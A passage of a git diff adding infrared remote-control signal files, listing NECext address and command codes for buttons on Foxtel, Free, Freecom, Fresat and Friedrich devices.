+name: MUTE +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 0D 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 21 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 38 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 54 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 5B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 5C 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 6D 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 6E 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 6F 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 70 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 81 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 83 00 00 00 +# +name: FOXTEL +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 8E 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: CC 00 00 00 +# +name: BOX_OFFICE +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: D5 00 00 00 +# +name: PLANNER +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: F4 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir new file mode 100644 index 000000000..5829a2cd9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: ch-up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: ch-down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: setup +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: boxoffice +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7D 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: foxtel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: help +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: i +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CB 00 00 00 +# +name: tvguide +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: planner +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir b/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir new file mode 100644 index 000000000..daaec77af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 09 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 0C 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 0D 00 00 00 +# +name: i +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 0F 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 10 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 11 00 00 00 +# +name: ch+ +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 20 00 00 00 +# +name: ch- +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 21 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 38 00 00 00 +# +name: setup +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 54 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 58 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 59 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 5A 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 5B 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 5C 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 6D 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 6E 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 6F 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 70 00 00 00 +# +name: help +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 81 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 83 00 00 00 +# +name: FOXTEL +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 8E 00 00 00 +# +name: tvGuide +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: CC 00 00 00 +# +name: boxOffice +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: D5 00 00 00 +# +name: planner +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: F4 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir new file mode 100644 index 000000000..20375ad76 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 00 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 04 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 06 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0B 00 00 00 +# +name: HEART +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 14 00 00 00 +# +name: MAIL +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 20 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 21 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 22 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 23 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 24 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 25 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 27 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2E 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 33 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 37 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir b/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir new file mode 100644 index 000000000..b32e4580a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 00 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: jleft +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: jdown +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: jright +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: jup +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 02 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 20 00 00 00 +# +name: bleft +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 21 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 2E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 2F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 37 00 00 00 +# +name: bright +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 40 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 4D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 24 0C 00 00 +command: 80 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 81 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 9E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 24 00 00 00 +command: B8 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 24 00 00 00 +command: CC 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 24 00 00 00 +command: CD 00 00 00 +# +name: free +type: parsed +protocol: NECext +address: 24 00 00 00 +command: D7 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 24 00 00 00 +command: F2 00 00 00 +# +name: envelope +type: parsed +protocol: NECext +address: 24 00 00 00 +command: F3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir new file mode 100644 index 000000000..1eb8caf73 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: KEY_SCREEN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: KEY_REPLY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: KEY_BRIGHTNESSDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_HOMEPAGE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 42 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 47 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 48 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 56 00 00 00 +# +name: KEY_REDO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 57 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 58 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 59 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5A 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir new file mode 100644 index 000000000..2af7e720c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: KEY_UNKNOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir b/assets/resources/infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir new file mode 100644 index 000000000..3ca359c9c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: X_KEY_2_LNB +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 00 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 02 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 03 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 04 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 05 00 00 00 +# +name: N/W +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 07 00 00 00 +# +name: N1 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 08 00 00 00 +# +name: N2 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 09 00 00 00 +# +name: N3 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 0B 00 00 00 +# +name: N4 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 0C 00 00 00 +# +name: N5 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 0D 00 00 00 +# +name: N6 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 0F 00 00 00 +# +name: B/W +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 10 00 00 00 +# +name: N8 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 11 00 00 00 +# +name: N0 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 12 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 14 00 00 00 +# +name: N9 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 16 00 00 00 +# +name: V/H +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 19 00 00 00 +# +name: C/KU +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 1A 00 00 00 +# +name: SKEW +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 1E 00 00 00 +# +name: N7 +type: parsed +protocol: NECext +address: 08 40 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir new file mode 100644 index 000000000..3bba50773 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: TEMP_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: TEMP_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: TIMER_SET_HOUR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: TIMER_START +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: TIMER_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: TIMER_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: COOL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 